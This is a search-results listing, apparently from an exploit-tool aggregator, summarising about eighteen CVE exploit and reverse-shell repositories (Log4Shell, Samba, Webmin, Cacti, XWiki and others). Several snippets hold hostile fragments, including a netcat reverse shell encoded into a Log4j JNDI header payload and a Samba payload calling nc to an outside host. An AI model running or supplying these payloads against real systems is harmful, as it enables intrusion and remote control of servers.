2521 matches found
log4jshell_CVE-2021-44228
log4jshellCVE-2021-44228 Log4jshell - CVE-2021-44228 Netcat nc Public IP Port -e /bin/sh Convert into Base64 bmMgMy4xMD.....wMyA4ODg4IC1lIC9iaW4vc2g= Payload curl Target Website -H "X-Forwarded-Host: $jndi:ldap://ReverseshellIP:Port/Basic/Command/Base64/Payload in base64 Proof of concept Log4j Po...
CVE-2016-10033
CVE2016-10033 explotation PoC This repository holds the necessary files to exploit CVE2016-10033 on a vulnerable version of WordPress. With these instructions you will be able to get a reverse interactive shell not Pseudo-TTY in the container that is running the WordPress as the user that is...
CVE-2026-23744-script
CVE-2026-23744用のスクリプトです。MCPJam Inspector（バージョン = 1.4.2）を悪用します。ここで使用されているcurlコマンドに基づいています： https://github.com/advisories/GHSA-232v-j27c-5pp6 /etc/hostsファイルが正しく、ターゲットのドメイン/vhostを指していることを確認してください。...
ShadowPhish
🕵️♂️ ShadowPhish - APT Awareness Toolkit Version: 1.0 Author: Joas A Santos Visual simulator for cybersecurity awareness, phishing, and APT-based social engineering. 🔥 Features ✅ Malicious PDF generator ✅ Word macro with remote shellcode ✅ PowerShell obfuscation Base64, IEX, compression, variables...
revsh
revsh revsh is a tool for establishing reverse shells with terminal support, reverse VPNs for advanced pivoting, as well as arbitrary data tunneling. News 2018-08-09 : New release. Mosly bug / stability fixes and better documentation on the build process with OpenSSL 1.1.0. See the Installation...
CVE-2024-36401-PoC
CVE-2024-36401-PoC This repository contains a Proof of Concept PoC script for CVE-2024-36401, a vulnerability that can be exploited to gain remote code execution on the target server. Features Assign a reverse shell listener using Perl. Encode commands using Base64. Make requests to the target...
cve-2015-1538-1
以下は、CVE-2015-1538（1）として知られる「stsc」脆弱性を悪用し、MP4を生成するPythonスクリプトです。これは私がStagefrightライブラリで報告した最も重大な脆弱性の1つです。このエクスプロイトの期待される結果は、mediaユーザーとしてのリバースシェルです。私のBlack HatおよびDEF...
strapi_cms_3.0.0-beta.17.7
Strapi CMS CVE-2019-18818 and 19606 Blind Remote Code Execution of Strapi CMS Version 3.0.0-beta.17.7 and earlier to get reverse shell Getting Started Executing program Using python3 root@kitploit: python3 strapiexp.py -t http://strapi.hack/ -e [email protected] -p newpassword -lhost 127.0.0...
webmin_1.920
CVE-2019-15107 Webmin 1.920 Unauhenticated Remote Command Execution A python3 script for the CVE-2019-15107 Webmin 1.920 Unauhenticated Remote Command Execution that creates a reverse shell or a pseudo interactive shell using mkfifo for firewall evasionA python3 script for the CVE-2019-15107 Webm...
CVE-2022-46169
CVE-2022-46169 POC This is a Proof of Concept POC script for the CVE-2022-46169 vulnerability that affects Cacti version 1.2.22. Description The CVE-2022-46169 vulnerability allows an unauthenticated command injection in Cacti versions through 1.2.22 in order to achieve unauthenticated remote cod...
CVE-2019-15107
CVE-2019-15107 https://www.cvedetails.com/cve/CVE-2019-15107/ An issue was discovered in Webmin =1.920. The parameters "old" and "expire" in passwordchange.cgi contain a command injection vulnerability. Usage 1. Start a listener on red box. root@kitploit: rlwrap -cAr nc -lvp 1919 2. Run the explo...
postshell
PostShell PostShell 是一个后渗透 shell，同时包含绑定 shell 和反向连接 shell。它创建一个完全交互式的 TTY，允许作业控制。生成的 stub 大小约为 14kb，可在任何类 Unix 系统上编译。 截图 连接启动后，横幅及与 shell 的交互界面。 为什么不使用传统的反向连接/绑定 Shell？ PostShell 使后渗透攻击更加容易，攻击者不再依赖 Python 和 Perl 等依赖项。它还同时集成了反向连接和绑定 shell，这意味着如果目标不允许出站连接，操作员可以简单地启动一个绑定 shell 并远程连接到该机器。此外，PostShell...
CVE-2024-24590
ClearML Exploit This repository contains a proof-of-concept exploit for a deserialization vulnerability in ClearML, allowing for remote command execution. This exploit demonstrates how to upload a malicious pickle artifact to ClearML to gain a reverse shell. Prerequisites Before you begin, ensure...
CVE-2018-15961
CVE-2018-15961 - Adobe ColdFusion 2018 RCE This repository contains my exploit code for the RCE vulnerability in Adobe ColdFusion 2018. Exploit Description The exploit sends a POST request containing a JSP reverse shell to /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm. If...
CVE-2007-2447
CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f Usage root@kitploit: Exploit target 10.129.232.46 on port 445, send back reverse shell to 10.10.14.82 on port 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 With custom rport and lport python3 CVE-2007-2447.py --rhost...
cve-2025-24893
CVE-2025-24893 XWiki RCE Exploit A simple Python3 script to exploit CVE-2025-24893 , a remote code execution vulnerability in XWiki Platform, using a Groovy-based async macro and a configurable reverse shell payload. ⚠️ WARNING: This tool is provided for educational and authorized testing purposes...
through_the_wire
Through the Wire Through the Wire は、CVE-2022-26134 の Proof of Concept エクスプロイトです。この脆弱性は、Atlassian Confluence Server および Data Center のバージョン = 7.13.6 LTS と = 7.18.0 "Latest" に影響する OGNL インジェクションの脆弱性です。これは元々、実環境で悪用されたゼロデイでした。 ベンダー勧告 Volexity の「in-the-wild」に関する分析記事 Rapid7 の分析記事 Through the Wire...
Codeine
Codeine root@kitploit: .o88b. .d88b. d8888b. d88888b d888888b d8b db d88888b d8P Y8 .8P Y8. 88 8D 88' 88' 888o 88 88' 8P 88 88 88 88 88ooooo 88 88V8o 88 88ooooo 8b 88 88 88 88 88 88 88 V8o88 88 Y8b d8 8b d8' 88 .8D 88. .88. 88 V888 88. Y88P' Y88P' Y8888D' Y88888P Y888888P VP V8P Y88888P Codeine は...